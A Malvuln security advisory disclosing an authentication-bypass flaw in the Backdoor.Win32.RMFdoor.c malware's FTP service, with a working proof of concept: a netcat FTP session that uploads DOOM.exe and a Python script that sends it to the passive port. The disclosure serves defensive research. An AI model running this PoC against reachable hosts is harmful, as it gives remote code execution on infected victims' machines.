Original source: https://malvuln.com/advisory/5e2e6ca532c20ee6a59861d936df7076.txt
Contact:
Media: twitter.com/malvuln
Threat: Backdoor.Win32.RMFdoor.c
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP ports 21, 14920. Attackers
who can reach infected systems can logon using any
username/password combination. Intruders may then upload
executables using ftp PASV, STOR commands, this can result in
remote code execution.
Type: PE32
MD5: 5e2e6ca532c20ee6a59861d936df7076
Vuln ID: MVID-2021-0220
Disclosure: 05/18/2021
Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,195,52).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.127"
#195 * 256 + 52 = 49972
PORT=49972
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("Backdoor.Win32.RMFdoor.c / Authentication Bypass
RCE")
print("MD5: 5e2e6ca532c20ee6a59861d936df7076")
print("By Malvuln");
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is
supplied "as-is" with no warranties or guarantees of fitness of use
or otherwise. Permission is hereby granted for the redistribution
of this advisory, provided that it is not altered except by
reformatting it, and that due credit is given. Permission is
explicitly given for insertion in vulnerability databases and
similar, provided that due credit is given to the author. The
author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage
caused by the use or misuse of this information. The author
prohibits any malicious use of security related information or
exploits by the author or elsewhere. Do not attempt to download
Malware samples. The author of this website takes no responsibility
for any kind of damages occurring from improper Malware handling or
the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
